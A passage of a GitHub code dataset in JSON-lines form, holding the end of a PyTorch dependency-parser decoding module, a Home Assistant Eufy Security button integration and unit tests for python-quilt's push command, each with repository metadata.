attachments of a given word to all other words.\n\n Returns\n -------\n heads : ``torch.Tensor``\n A tensor of shape (batch_size, sequence_length) representing the\n greedily decoded heads of each word.\n head_tags : ``torch.Tensor``\n A tensor of shape (batch_size, sequence_length) representing the\n dependency tags of the greedily decoded heads of each word.\n \"\"\"\n # Mask the diagonal, because the head of a word can't be itself.\n attended_arcs = attended_arcs + torch.diag(\n attended_arcs.new(mask.size(1)).fill_(-numpy.inf))\n # Mask padded tokens, because we only want to consider actual words as heads.\n if mask is not None:\n minus_mask = (1 - mask).byte().unsqueeze(2)\n attended_arcs.masked_fill_(minus_mask, -numpy.inf)\n\n # Compute the heads greedily.\n # shape (batch_size, sequence_length)\n _, heads = attended_arcs.max(dim=2)\n\n # Given the greedily predicted heads, decode their dependency tags.\n # shape (batch_size, sequence_length, num_head_tags)\n head_tag_logits = self._get_head_tags(head_tag_representation,\n child_tag_representation, heads)\n _, head_tags = head_tag_logits.max(dim=2)\n return heads, head_tags\n\n def _mst_decode(self, head_tag_representation: torch.Tensor,\n child_tag_representation: torch.Tensor,\n attended_arcs: torch.Tensor, mask: torch.Tensor,\n lengths: torch.Tensor\n ) -> Tuple[torch.Tensor, torch.Tensor]:\n \"\"\"\n Decodes the head and head tag predictions using the Edmonds' Algorithm\n for finding minimum spanning trees on directed graphs. Nodes in the\n graph are the words in the sentence, and between each pair of nodes,\n there is an edge in each direction, where the weight of the edge corresponds\n to the most likely dependency label probability for that arc. The MST is\n then generated from this directed graph.\n\n Parameters\n ----------\n head_tag_representation : ``torch.Tensor``, required.\n A tensor of shape (batch_size, sequence_length, tag_dim),\n which will be used to generate predictions for the dependency tags\n for the given arcs.\n child_tag_representation : ``torch.Tensor``, required\n A tensor of shape (batch_size, sequence_length, tag_dim),\n which will be used to generate predictions for the dependency tags\n for the given arcs.\n attended_arcs : ``torch.Tensor``, required.\n A tensor of shape (batch_size, sequence_length, sequence_length) used to generate\n a distribution over attachments of a given word to all other words.\n\n Returns\n -------\n heads : ``torch.Tensor``\n A tensor of shape (batch_size, sequence_length) representing the\n greedily decoded heads of each word.\n head_tags : ``torch.Tensor``\n A tensor of shape (batch_size, sequence_length) representing the\n dependency tags of the optimally decoded heads of each word.\n \"\"\"\n batch_size, sequence_length, tag_dim = head_tag_representation.size()\n\n # lengths = mask.data.sum(dim=1).long().cpu().numpy()\n\n expanded_shape = [\n batch_size, sequence_length, sequence_length, tag_dim\n ]\n head_tag_representation = head_tag_representation.unsqueeze(2)\n head_tag_representation = head_tag_representation.expand(\n *expanded_shape).contiguous()\n child_tag_representation = child_tag_representation.unsqueeze(1)\n child_tag_representation = child_tag_representation.expand(\n *expanded_shape).contiguous()\n # Shape (batch_size, sequence_length, sequence_length, num_head_tags)\n pairwise_head_logits = self.tag_bilinear(head_tag_representation,\n child_tag_representation)\n\n # Note that this log_softmax is over the tag dimension, and we don't consider pairs\n # of tags which are invalid (e.g are a pair which includes a padded element) anyway below.\n # Shape (batch, num_labels,sequence_length, sequence_length)\n normalized_pairwise_head_logits = F.log_softmax(pairwise_head_logits,\n dim=3).permute(\n 0, 3, 1, 2)\n\n # Mask padded tokens, because we only want to consider actual words as heads.\n minus_inf = -1e8\n minus_mask = (1 - mask.float()) * minus_inf\n attended_arcs = attended_arcs + minus_mask.unsqueeze(\n 2) + minus_mask.unsqueeze(1)\n\n # Shape (batch_size, sequence_length, sequence_length)\n normalized_arc_logits = F.log_softmax(attended_arcs,\n dim=2).transpose(1, 2)\n\n # Shape (batch_size, num_head_tags, sequence_length, sequence_length)\n # This energy tensor expresses the following relation:\n # energy[i,j] = \"Score that i is the head of j\". In this\n # case, we have heads pointing to their children.\n batch_energy = torch.exp(\n normalized_arc_logits.unsqueeze(1) +\n normalized_pairwise_head_logits)\n return self._run_mst_decoding(batch_energy, lengths)\n\n @staticmethod\n def _run_mst_decoding(batch_energy: torch.Tensor, lengths: torch.Tensor\n ) -> Tuple[torch.Tensor, torch.Tensor]:\n heads = []\n head_tags = []\n for energy, length in zip(batch_energy.detach().cpu(), lengths):\n scores, tag_ids = energy.max(dim=0)\n # Although we need to include the root node so that the MST includes it,\n # we do not want any word to be the parent of the root node.\n # Here, we enforce this by setting the scores for all word -> ROOT edges\n # edges to be 0.\n scores[0, :] = 0\n # Decode the heads. Because we modify the scores to prevent\n # adding in word -> ROOT edges, we need to find the labels ourselves.\n instance_heads, _ = decode_mst(scores.numpy(),\n length,\n has_labels=False)\n\n # Find the labels which correspond to the edges in the max spanning tree.\n instance_head_tags = []\n for child, parent in enumerate(instance_heads):\n instance_head_tags.append(tag_ids[parent, child].item())\n # We don't care what the head or tag is for the root token, but by default it's\n # not necesarily the same in the batched vs unbatched case, which is annoying.\n # Here we'll just set them to zero.\n instance_heads[0] = 0\n instance_head_tags[0] = 0\n heads.append(instance_heads)\n head_tags.append(instance_head_tags)\n return torch.from_numpy(numpy.stack(heads)), torch.from_numpy(\n numpy.stack(head_tags))\n\n def _get_head_tags(self, head_tag_representation: torch.Tensor,\n child_tag_representation: torch.Tensor,\n head_indices: torch.Tensor) -> torch.Tensor:\n \"\"\"\n Decodes the head tags given the head and child tag representations\n and a tensor of head indices to compute tags for. Note that these are\n either gold or predicted heads, depending on whether this function is\n being called to compute the loss, or if it's being called during inference.\n\n Parameters\n ----------\n head_tag_representation : ``torch.Tensor``, required.\n A tensor of shape (batch_size, sequence_length, tag_dim),\n which will be used to generate predictions for the dependency tags\n for the given arcs.\n child_tag_representation : ``torch.Tensor``, required\n A tensor of shape (batch_size, sequence_length, tag_dim),\n which will be used to generate predictions for the dependency tags\n for the given arcs.\n head_indices : ``torch.Tensor``, required.\n A tensor of shape (batch_size, sequence_length). The indices of the heads\n for every word.\n\n Returns\n -------\n head_tag_logits : ``torch.Tensor``\n A tensor of shape (batch_size, sequence_length, num_head_tags),\n representing logits for predicting a distribution over tags\n for each arc.\n \"\"\"\n batch_size = head_tag_representation.size(0)\n # shape (batch_size,)\n range_vector = get_range_vector(\n batch_size, get_device_of(head_tag_representation)).unsqueeze(1)\n\n # This next statement is quite a complex piece of indexing, which you really\n # need to read the docs to understand. See here:\n # https://docs.scipy.org/doc/numpy-1.13.0/reference/arrays.indexing.html#advanced-indexing\n # In effect, we are selecting the indices corresponding to the heads of each word from the\n # sequence length dimension for each element in the batch.\n\n # shape (batch_size, sequence_length, tag_dim)\n selected_head_tag_representations = head_tag_representation[\n range_vector, head_indices]\n selected_head_tag_representations = selected_head_tag_representations.contiguous(\n )\n # shape (batch_size, sequence_length, num_head_tags)\n head_tag_logits = self.tag_bilinear(selected_head_tag_representations,\n child_tag_representation)\n return head_tag_logits\n", "repo_name": "aaronmueller/mBERT-docclass", "sub_path": "src/module/model.py", "file_name": "model.py", "file_ext": "py", "file_size_in_byte": 30292, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "component.BaseModelConfig", "line_number": 23, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 22, "usage_type": "name"}, {"api_name": "component.BaseModel", "line_number": 30, "usage_type": "name"}, {"api_name": "component.PoolDecoderConfig", "line_number": 33, "usage_type": "argument"}, {"api_name": "component.MeanPoolDecoderConfig", "line_number": 34, "usage_type": "argument"}, {"api_name": "torch.nn.Linear", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 37, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 41, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 42, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 43, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 44, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 45, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 46, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 47, "usage_type": "name"}, {"api_name": "component.BertInput", "line_number": 48, "usage_type": "call"}, {"api_name": "torch.nn.functional.log_softmax", "line_number": 55, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 55, "usage_type": "name"}, {"api_name": "torch.nn.functional.nll_loss", "line_number": 56, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 56, "usage_type": "name"}, {"api_name": "component.BaseModelConfig", "line_number": 62, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 61, "usage_type": "name"}, {"api_name": "component.BaseModel", "line_number": 70, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 75, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 75, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 79, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 80, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 81, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 82, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 83, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 84, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 85, "usage_type": "name"}, {"api_name": "component.BertInput", "line_number": 86, "usage_type": "call"}, {"api_name": "torch.nn.functional.log_softmax", "line_number": 93, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 93, "usage_type": "name"}, {"api_name": "torch.nn.functional.nll_loss", "line_number": 94, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 94, "usage_type": "name"}, {"api_name": "component.BaseModelConfig", "line_number": 102, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 101, "usage_type": "name"}, {"api_name": "component.BaseModel", "line_number": 109, "usage_type": "name"}, {"api_name": "component.PoolDecoderConfig", "line_number": 112, "usage_type": "argument"}, {"api_name": "component.MeanPoolDecoderConfig", "line_number": 113, "usage_type": "argument"}, {"api_name": "torch.Tensor", "line_number": 119, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 120, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 121, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 122, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 123, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 124, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 125, "usage_type": "name"}, {"api_name": "component.BertInput", "line_number": 126, "usage_type": "call"}, {"api_name": "torch.nn.Linear", "line_number": 134, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 134, "usage_type": "name"}, {"api_name": "torch.nn.functional.log_softmax", "line_number": 136, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 136, "usage_type": "name"}, {"api_name": "torch.nn.functional.nll_loss", "line_number": 137, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 137, "usage_type": "name"}, {"api_name": "component.BaseModelConfig", "line_number": 143, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 142, "usage_type": "name"}, {"api_name": "component.BaseModel", "line_number": 151, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 159, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 160, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 161, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 162, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 163, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 164, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 165, "usage_type": "name"}, {"api_name": "component.BertInput", "line_number": 166, "usage_type": "call"}, {"api_name": "torch.nn.Linear", "line_number": 174, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 174, "usage_type": "name"}, {"api_name": "torch.nn.functional.log_softmax", "line_number": 176, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 176, "usage_type": "name"}, {"api_name": "torch.nn.functional.nll_loss", "line_number": 177, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 177, "usage_type": "name"}, {"api_name": "component.BaseModelConfig", "line_number": 185, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 184, "usage_type": "name"}, {"api_name": "component.BaseModel", "line_number": 192, "usage_type": "name"}, {"api_name": "component.PoolDecoderConfig", "line_number": 195, "usage_type": "argument"}, {"api_name": "component.MeanPoolDecoderConfig", "line_number": 196, "usage_type": "argument"}, {"api_name": "torch.nn.EmbeddingBag", "line_number": 199, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 199, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 200, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 200, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 206, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 207, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 208, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 209, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 210, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 211, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 212, "usage_type": "name"}, {"api_name": "torch.nn.functional.log_softmax", "line_number": 215, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 215, "usage_type": "name"}, {"api_name": "torch.nn.functional.nll_loss", "line_number": 216, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 216, "usage_type": "name"}, {"api_name": "component.BaseModelConfig", "line_number": 222, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 221, "usage_type": "name"}, {"api_name": "component.BaseModel", "line_number": 230, "usage_type": "name"}, {"api_name": "torch.nn.EmbeddingBag", "line_number": 235, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 235, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 236, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 236, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 242, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 243, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 244, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 245, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 246, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 247, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 248, "usage_type": "name"}, {"api_name": "torch.nn.functional.log_softmax", "line_number": 251, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 251, "usage_type": "name"}, {"api_name": "torch.nn.functional.nll_loss", "line_number": 252, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 252, "usage_type": "name"}, {"api_name": "component.BaseModelConfig", "line_number": 260, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 259, "usage_type": "name"}, {"api_name": "component.BaseModel", "line_number": 274, "usage_type": "name"}, {"api_name": "torch.nn.Embedding", "line_number": 287, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 287, "usage_type": "name"}, {"api_name": "allennlp.modules.FeedForward", "line_number": 292, "usage_type": "call"}, {"api_name": "allennlp.nn.Activation.by_name", "line_number": 293, "usage_type": "call"}, {"api_name": "allennlp.nn.Activation", "line_number": 293, "usage_type": "name"}, {"api_name": "copy.deepcopy", "line_number": 294, "usage_type": "call"}, {"api_name": "allennlp.modules.matrix_attention.bilinear_matrix_attention.BilinearMatrixAttention", "line_number": 296, "usage_type": "call"}, {"api_name": "allennlp.modules.FeedForward", "line_number": 300, "usage_type": "call"}, {"api_name": "allennlp.nn.Activation.by_name", "line_number": 301, "usage_type": "call"}, {"api_name": "allennlp.nn.Activation", "line_number": 301, "usage_type": "name"}, {"api_name": "copy.deepcopy", "line_number": 302, "usage_type": "call"}, {"api_name": "torch.nn.modules.Bilinear", "line_number": 304, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 304, "usage_type": "attribute"}, {"api_name": "allennlp.modules.InputVariationalDropout", "line_number": 307, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 311, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 312, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 313, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 314, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 315, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 316, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 317, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 318, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 319, "usage_type": "name"}, {"api_name": "component.BertInput", "line_number": 334, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 343, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 396, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 397, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 398, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 399, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 400, "usage_type": "attribute"}, {"api_name": "allennlp.nn.util.get_range_vector", "line_number": 438, "usage_type": "call"}, {"api_name": "allennlp.nn.util.get_device_of", "line_number": 439, "usage_type": "call"}, {"api_name": "allennlp.nn.util.masked_log_softmax", "line_number": 441, "usage_type": "call"}, {"api_name": "allennlp.nn.util.masked_log_softmax", "line_number": 449, "usage_type": "call"}, {"api_name": "allennlp.nn.util.get_range_vector", "line_number": 452, "usage_type": "call"}, {"api_name": "allennlp.nn.util.get_device_of", "line_number": 453, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 401, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 401, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 474, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 475, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 476, "usage_type": "attribute"}, {"api_name": "torch.diag", "line_number": 509, "usage_type": "call"}, {"api_name": "numpy.inf", "line_number": 510, "usage_type": "attribute"}, {"api_name": "numpy.inf", "line_number": 514, "usage_type": "attribute"}, {"api_name": "typing.Tuple", "line_number": 477, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 477, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 527, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 528, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 529, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 530, "usage_type": "attribute"}, {"api_name": "torch.nn.functional.log_softmax", "line_number": 583, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 583, "usage_type": "name"}, {"api_name": "torch.nn.functional.log_softmax", "line_number": 594, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 594, "usage_type": "name"}, {"api_name": "torch.exp", "line_number": 601, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 531, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 531, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 607, "usage_type": "attribute"}, {"api_name": "allennlp.nn.chu_liu_edmonds.decode_mst", "line_number": 620, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 635, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 635, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 636, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 608, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 608, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 638, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 639, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 640, "usage_type": "attribute"}, {"api_name": "allennlp.nn.util.get_range_vector", "line_number": 670, "usage_type": "call"}, {"api_name": "allennlp.nn.util.get_device_of", "line_number": 671, "usage_type": "call"}]} +{"seq_id": "14076046582", "text": "import logging\n\nfrom homeassistant.components.button import ButtonEntity\nfrom homeassistant.config_entries import ConfigEntry\nfrom homeassistant.core import HomeAssistant\nfrom homeassistant.helpers.entity_platform import AddEntitiesCallback\n\nfrom .const import COORDINATOR, DOMAIN\nfrom .coordinator import EufySecurityDataUpdateCoordinator\nfrom .entity import EufySecurityEntity\nfrom .eufy_security_api.metadata import Metadata\nfrom .eufy_security_api.const import ProductCommand\n\n_LOGGER: logging.Logger = logging.getLogger(__package__)\n\n\nasync def async_setup_entry(hass: HomeAssistant, config_entry: ConfigEntry, async_add_entities: AddEntitiesCallback) -> None:\n \"\"\"Setup binary sensor entities.\"\"\"\n coordinator: EufySecurityDataUpdateCoordinator = hass.data[DOMAIN][COORDINATOR]\n product_properties = []\n for product in list(coordinator.devices.values()) + list(coordinator.stations.values()):\n for command in ProductCommand:\n handler_func = getattr(product, f\"{command.name}\", None)\n if handler_func is None:\n continue\n if command.value.command is not None:\n if command.value.command == \"is_rtsp_enabled\":\n if product.is_rtsp_enabled is False:\n continue\n else:\n if command.value.command not in product.commands:\n continue\n\n product_properties.append(\n Metadata.parse(product, {\"name\": command.name, \"label\": command.value.description, \"command\": command.value})\n )\n\n entities = [EufySecurityButtonEntity(coordinator, metadata) for metadata in product_properties]\n async_add_entities(entities)\n\n\nclass EufySecurityButtonEntity(ButtonEntity, EufySecurityEntity):\n \"\"\"Base button entity for integration\"\"\"\n\n def __init__(self, coordinator: EufySecurityDataUpdateCoordinator, metadata: Metadata) -> None:\n super().__init__(coordinator, metadata)\n\n async def async_press(self) -> None:\n \"\"\"Press the button.\"\"\"\n handler_func = getattr(self.product, f\"{self.metadata.name}\")\n await handler_func()\n", "repo_name": "fuatakgun/eufy_security", "sub_path": "custom_components/eufy_security/button.py", "file_name": "button.py", "file_ext": "py", "file_size_in_byte": 2158, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 659, "dataset": "github-code", "pt": "16", "api": [{"api_name": "logging.Logger", "line_number": 14, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 14, "usage_type": "call"}, {"api_name": "homeassistant.core.HomeAssistant", "line_number": 17, "usage_type": "name"}, {"api_name": "homeassistant.config_entries.ConfigEntry", "line_number": 17, "usage_type": "name"}, {"api_name": "homeassistant.helpers.entity_platform.AddEntitiesCallback", "line_number": 17, "usage_type": "name"}, {"api_name": "coordinator.EufySecurityDataUpdateCoordinator", "line_number": 19, "usage_type": "name"}, {"api_name": "const.DOMAIN", "line_number": 19, "usage_type": "name"}, {"api_name": "const.COORDINATOR", "line_number": 19, "usage_type": "name"}, {"api_name": "coordinator.devices.values", "line_number": 21, "usage_type": "call"}, {"api_name": "coordinator.devices", "line_number": 21, "usage_type": "attribute"}, {"api_name": "coordinator.stations.values", "line_number": 21, "usage_type": "call"}, {"api_name": "coordinator.stations", "line_number": 21, "usage_type": "attribute"}, {"api_name": "eufy_security_api.const.ProductCommand", "line_number": 22, "usage_type": "name"}, {"api_name": "eufy_security_api.metadata.Metadata.parse", "line_number": 35, "usage_type": "call"}, {"api_name": "eufy_security_api.metadata.Metadata", "line_number": 35, "usage_type": "name"}, {"api_name": "homeassistant.components.button.ButtonEntity", "line_number": 42, "usage_type": "name"}, {"api_name": "entity.EufySecurityEntity", "line_number": 42, "usage_type": "name"}, {"api_name": "coordinator.EufySecurityDataUpdateCoordinator", "line_number": 45, "usage_type": "name"}, {"api_name": "eufy_security_api.metadata.Metadata", "line_number": 45, "usage_type": "name"}]} +{"seq_id": "71302632967", "text": "from contextlib import contextmanager\nimport os, os.path\nimport six\n\nfrom helpers import QuiltTest, make_file, tmp_series\n\nfrom quilt.db import Db\nfrom quilt.error import QuiltError, AllPatchesApplied\nfrom quilt.patch import Patch\nfrom quilt.push import Push\nfrom quilt.utils import Directory, TmpDirectory, File\n\ntest_dir = os.path.dirname(__file__)\n\n\nclass PushTest(QuiltTest):\n\n data_dir = Directory(os.path.join(test_dir, \"data\", \"push\"))\n\n def test_apply_all(self):\n patch2 = Patch(\"p2.patch\")\n\n test_dir = self.data_dir + \"test1\"\n\n with TmpDirectory(dir=self.data_dir.get_name()) as tmp_dir:\n tmp_test_dir = tmp_dir + \"test1\"\n test_dir.copy(tmp_test_dir)\n\n pc_dir = tmp_test_dir + \"pc\"\n patches_dir = tmp_test_dir + \"patches\"\n\n f1 = tmp_test_dir + File(\"f1\")\n self.assertFalse(f1.exists())\n f2 = tmp_test_dir + File(\"f2\")\n self.assertFalse(f2.exists())\n\n push = Push(tmp_test_dir.get_name(), pc_dir.get_name(),\n patches_dir.get_name())\n\n self.assertEqual(None, push.db.top_patch())\n push.apply_all(quiet=True)\n self.assertEqual(patch2, push.db.top_patch())\n\n self.assertTrue(f1.exists())\n self.assertTrue(f2.exists())\n\n def test_apply_next(self):\n patch1 = Patch(\"p1.patch\")\n patch2 = Patch(\"p2.patch\")\n\n test_dir = self.data_dir + \"test2\"\n\n with TmpDirectory(dir=self.data_dir.get_name()) as tmp_dir:\n tmp_test_dir = tmp_dir + \"test2\"\n test_dir.copy(tmp_test_dir)\n\n pc_dir = tmp_test_dir + \"pc\"\n patches_dir = tmp_test_dir + \"patches\"\n\n f1 = tmp_test_dir + File(\"f1\")\n self.assertFalse(f1.exists())\n f2 = tmp_test_dir + File(\"f2\")\n self.assertFalse(f2.exists())\n\n push = Push(tmp_test_dir.get_name(), pc_dir.get_name(),\n patches_dir.get_name())\n self.assertEqual(None, push.db.top_patch())\n\n push.apply_next_patch(quiet=True)\n self.assertEqual(patch1, push.db.top_patch())\n\n self.assertTrue(f1.exists())\n self.assertFalse(f2.exists())\n\n push.apply_next_patch(quiet=True)\n self.assertEqual(patch2, push.db.top_patch())\n\n self.assertTrue(f1.exists())\n self.assertTrue(f2.exists())\n \n def test_upto_applied(self):\n \"\"\" Push up to a specified patch when a patch is already applied \"\"\"\n top = os.path.join(test_dir, \"data\", \"pop\", \"test1\")\n pc = os.path.join(top, \"pc\")\n patches = os.path.join(top, \"patches\")\n cmd = Push(top, pc, patches)\n self.assertRaises(AllPatchesApplied, cmd.apply_patch, \"p1.patch\")\n \n def test_force(self):\n with tmp_series() as [dir, series]:\n self._make_conflict(dir, series)\n series.save()\n cmd = Push(dir, quilt_pc=dir, quilt_patches=series.dirname)\n with six.assertRaisesRegex(\n self, QuiltError, r\"does not apply\"), \\\n self._suppress_output():\n cmd.apply_next_patch(quiet=True)\n with six.assertRaisesRegex(self, QuiltError,\n r\"Applied patch.*needs refresh\"), \\\n self._suppress_output():\n cmd.apply_next_patch(quiet=True, force=True)\n \n def test_without_refresh(self):\n with tmp_series() as [dir, series]:\n self._make_conflict(dir, series)\n series.add_patch(\"p2\")\n series.save()\n cmd = Push(dir, quilt_pc=dir, quilt_patches=series.dirname)\n with six.assertRaisesRegex(self, QuiltError,\n r\"Applied patch.*needs refresh\"), \\\n self._suppress_output():\n cmd.apply_next_patch(quiet=True, force=True)\n with six.assertRaisesRegex(self, QuiltError,\n r\"needs to be refreshed\"):\n cmd.apply_next_patch()\n \n def test_fail_after_success(self):\n \"\"\" Test where the first patch applies but a later patch fails \"\"\"\n with tmp_series() as [dir, series]:\n make_file(\n b\"--- /dev/null\\n\"\n b\"+++ dir/new-file\\n\"\n b\"@@ -0,0 +1,1 @@\\n\"\n b\"+new file\\n\", series.dirname, \"good.patch\")\n series.add_patch(Patch(\"good.patch\"))\n \n self._make_conflict(dir, series)\n series.save()\n cmd = Push(dir, quilt_pc=dir, quilt_patches=series.dirname)\n with six.assertRaisesRegex(self, QuiltError,\n r\"conflict\\.patch does not apply\"), \\\n self._suppress_output():\n cmd.apply_all()\n [applied] = Db(dir).patches()\n self.assertEqual(applied.get_name(), \"good.patch\")\n with open(os.path.join(dir, \"new-file\"), \"rb\") as file:\n self.assertEqual(file.read(), b\"new file\\n\")\n with open(os.path.join(dir, \"file\"), \"rb\") as file:\n self.assertEqual(file.read(), b\"conflict\\n\")\n \n def _make_conflict(self, dir, series):\n series.add_patch(Patch(\"conflict.patch\"))\n make_file(\n b\"--- orig/file\\n\"\n b\"+++ new/file\\n\"\n b\"@@ -1 +1 @@\\n\"\n b\"-old\\n\"\n b\"+new\\n\", series.dirname, \"conflict.patch\")\n make_file(b\"conflict\\n\", dir, \"file\")\n \n @contextmanager\n def _suppress_output(self):\n \"\"\" Silence error messages from the \"patch\" command \"\"\"\n STDOUT_FILENO = 1\n STDERR_FILENO = 2\n with open(os.devnull, \"w\") as null:\n stdout = os.dup(STDOUT_FILENO)\n stderr = os.dup(STDERR_FILENO)\n os.dup2(null.fileno(), STDOUT_FILENO)\n os.dup2(null.fileno(), STDERR_FILENO)\n try:\n yield\n finally:\n os.dup2(stdout, STDOUT_FILENO)\n os.dup2(stderr, STDERR_FILENO)\n os.close(stdout)\n os.close(stderr)\n\n\nif __name__ == \"__main__\":\n PushTest.run_tests()\n", "repo_name": "bjoernricks/python-quilt", "sub_path": "tests/test_push.py", "file_name": "test_push.py", "file_ext": "py", "file_size_in_byte": 6181, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 10, "dataset": "github-code", "pt": "16", "api": [{"api_name": "os.path.dirname", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "helpers.QuiltTest", "line_number": 16, "usage_type": "name"}, {"api_name": "quilt.utils.Directory", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "quilt.patch.Patch", "line_number": 21, "usage_type": "call"}, {"api_name": "quilt.utils.TmpDirectory", "line_number": 25, "usage_type": "call"}, {"api_name": "quilt.utils.File", "line_number": 